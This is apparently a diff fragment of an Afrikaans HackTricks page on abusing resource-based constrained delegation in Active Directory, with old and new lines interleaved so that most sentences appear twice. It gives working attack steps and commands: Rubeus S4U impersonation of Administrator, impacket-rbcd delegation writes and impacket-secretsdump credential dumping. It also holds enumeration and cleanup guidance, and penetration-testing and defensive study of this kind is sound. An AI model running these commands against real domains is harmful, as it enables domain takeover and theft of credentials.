Dit is soortgelyk aan die basiese [Beperkte Afvaardiging](constrained-delegation.md) maar **in plaas daarvan** om toestemmings aan 'n **objek** te gee om **enige gebruiker teen 'n masjien te verteenwoordig**. Hulpbron-gebaseerde Beperkte Afvaardiging **stel** in **die objek wat in staat is om enige gebruiker teen hom te verteenwoordig**.
Dit is soortgelyk aan die basiese [Beperkte Afvaardiging](constrained-delegation.md) maar **in plaas daarvan** om toestemmings aan 'n **objek** te gee om **enige gebruiker teen 'n masjien te verteenwoordig**. Hulpbron-gebaseerde Beperkte Afvaardiging **stel** in **die objek wie in staat is om enige gebruiker teen dit te verteenwoordig**.
In hierdie geval sal die beperkte objek 'n attribuut hê genaamd _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ met die naam van die gebruiker wat enige ander gebruiker teen hom kan verteenwoordig.
In hierdie geval sal die beperkte objek 'n attribuut hê genaamd _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ met die naam van die gebruiker wat enige ander gebruiker teen dit kan verteenwoordig.
'n Ander belangrike verskil van hierdie Beperkte Afvaardiging teenoor die ander afvaardigings is dat enige gebruiker met **skryftoestemmings oor 'n masjienrekening** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) die **_msDS-AllowedToActOnBehalfOfOtherIdentity_** kan stel (In die ander vorme van Afvaardiging het jy domein admin regte nodig gehad).
Nog 'n belangrike verskil van hierdie Beperkte Afvaardiging teenoor die ander afvaardigings is dat enige gebruiker met **skryftoestemmings oor 'n masjienrekening** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) die **_msDS-AllowedToActOnBehalfOfOtherIdentity_** kan stel (In die ander vorme van Afvaardiging het jy domein admin regte nodig gehad).
### Nuwe Konsepte
Terug by Beperkte Afvaardiging is daar gesê dat die **`TrustedToAuthForDelegation`** vlag binne die _userAccountControl_ waarde van die gebruiker nodig is om 'n **S4U2Self** uit te voer. Maar dit is nie heeltemal waar nie.\
Die werklikheid is dat selfs sonder daardie waarde, jy 'n **S4U2Self** teen enige gebruiker kan uitvoer as jy 'n **diens** (het 'n SPN) is, maar, as jy **`TrustedToAuthForDelegation`** het, sal die teruggegee TGS **Forwardable** wees en as jy **nie het nie** daardie vlag sal die teruggegee TGS **nie** **Forwardable** wees nie.
As die **TGS** wat in **S4U2Proxy** gebruik word **NIE Forwardable** is nie, sal dit **nie werk** om 'n **basiese Beperkte Afvaardiging** te misbruik nie. Maar as jy probeer om 'n **Hulpbron-gebaseerde beperkte afvaardiging** te ontgin, sal dit werk.
As die **TGS** wat in **S4U2Proxy** gebruik word **NIE Forwardable** is nie, sal dit **nie werk** om 'n **basiese Beperkte Afvaardiging** te misbruik nie. Maar as jy probeer om 'n **Hulpbron-gebaseerde beperkte afvaardiging te ontgin, sal dit werk**.
### Aanvalstruktuur
@ -24,7 +24,7 @@ As die **TGS** wat in **S4U2Proxy** gebruik word **NIE Forwardable** is nie, sal
Neem aan dat die aanvaller reeds **skrywequivalente regte oor die slagoffer rekenaar** het.
1. Die aanvaller **kompromitteer** 'n rekening wat 'n **SPN** het of **skep een** (“Diens A”). Let daarop dat **enige** _Admin Gebruiker_ sonder enige ander spesiale regte tot **10 Rekenaarobjekte** kan **skep** (**_MachineAccountQuota_**) en hulle 'n **SPN** kan stel. So die aanvaller kan net 'n Rekenaarobjek skep en 'n SPN stel.
1. Die aanvaller **kompromitteer** 'n rekening wat 'n **SPN** het of **skep een** (“Diens A”). Let daarop dat **enige** _Admin Gebruiker_ sonder enige ander spesiale regte tot 10 Rekenaarobjekte kan **skep** (**_MachineAccountQuota_**) en hulle 'n **SPN** kan stel. So die aanvaller kan net 'n Rekenaarobjek skep en 'n SPN stel.
2. Die aanvaller **misbruik sy SKRYF regte** oor die slagoffer rekenaar (DiensB) om **hulpbron-gebaseerde beperkte afvaardiging te konfigureer om DiensA toe te laat om enige gebruiker** teen daardie slagoffer rekenaar (DiensB) te verteenwoordig.
3. Die aanvaller gebruik Rubeus om 'n **volledige S4U-aanval** (S4U2Self en S4U2Proxy) van Diens A na Diens B vir 'n gebruiker **met bevoorregte toegang tot Diens B** uit te voer.
1. S4U2Self (van die SPN gekompromitteerde/geskepte rekening): Vra vir 'n **TGS van Administrateur na my** (Nie Forwardable).
@ -86,7 +86,7 @@ U kan meer kaartjies vir meer dienste genereer deur net een keer te vra met die
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
> [!CAUTION]
> Let daarop dat gebruikers 'n attribuut het genaamd "**Kan nie gedelegeer word nie**". As 'n gebruiker hierdie attribuut op Waar het, sal jy nie in staat wees om hom na te volg nie. Hierdie eienskap kan binne bloodhound gesien word.
> Let op dat gebruikers 'n attribuut het genaamd "**Kan nie gedelegeer word nie**". As 'n gebruiker hierdie attribuut op Waar het, sal jy nie in staat wees om hom na te volg nie. Hierdie eienskap kan binne bloodhound gesien word.
### Linux gereedskap: end-to-end RBCD met Impacket (2024+)
@ -107,7 +107,7 @@ export KRB5CCNAME=$(pwd)/Administrator.ccache
# Example: dump local secrets via Kerberos (no NTLM)
impacket-secretsdump -k -no-pass Administrator@victim.domain.local
```
Notas
Notes
- As LDAP-handtekening/LDAPS afgedwing word, gebruik `impacket-rbcd -use-ldaps ...`.
- Verkies AES-sleutels; baie moderne domeine beperk RC4. Impacket en Rubeus ondersteun albei AES-slegs vloei.
- Impacket kan die `sname` ("AnySPN") vir sommige gereedskap herskryf, maar verkry die korrekte SPN wanneer moontlik (bv. CIFS/LDAP/HTTP/HOST/MSSQLSvc).
@ -125,9 +125,9 @@ Leer meer oor die [**beskikbare dienskaartjies hier**](silver-ticket.md#availabl
## Opname, oudit en skoonmaak
### Tel rekenaars met RBCD geconfigureer
### Opname van rekenaars met RBCD geconfigureer
PowerShell (ontsleuteling van die SD om SID's op te los):
PowerShell (ontsleuteling van die SD om SIDs op te los):
```powershell
# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
Import-Module ActiveDirectory
@ -174,15 +174,15 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025
- Die fakecomputer wat geskep is, het sy voorregte oor die kwesbare bediener verloor en jy moet dit teruggee.
- Jy misbruik klassieke KCD; onthou RBCD werk met nie-oorplaasbare S4U2Self kaartjies, terwyl KCD oorplaasbare vereis.
## Aantekeninge, relais en alternatiewe
## Aantekeninge, relays en alternatiewe
- Jy kan ook die RBCD SD oor AD Web Services (ADWS) skryf as LDAP gefilter is. Sien:
- Jy kan ook die RBCD SD oor AD Web Services (ADWS) skryf as LDAP gefiltreer is. Sien:
{{#ref}}
adws-enumeration.md
{{#endref}}
- Kerberos relais kettings eindig dikwels in RBCD om plaaslike SYSTEM in een stap te bereik. Sien praktiese eind-tot-eind voorbeelde:
- Kerberos relay kettings eindig dikwels in RBCD om plaaslike SYSTEM in een stap te bereik. Sien praktiese eind-tot-eind voorbeelde:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -196,7 +196,6 @@ adws-enumeration.md
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
- Impacket rbcd.py (amptelik): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
- Vinnige Linux cheatsheet met onlangse sintaksis: https://tldrbins.github.io/rbcd/
{{#include ../../banners/hacktricks-training.md}}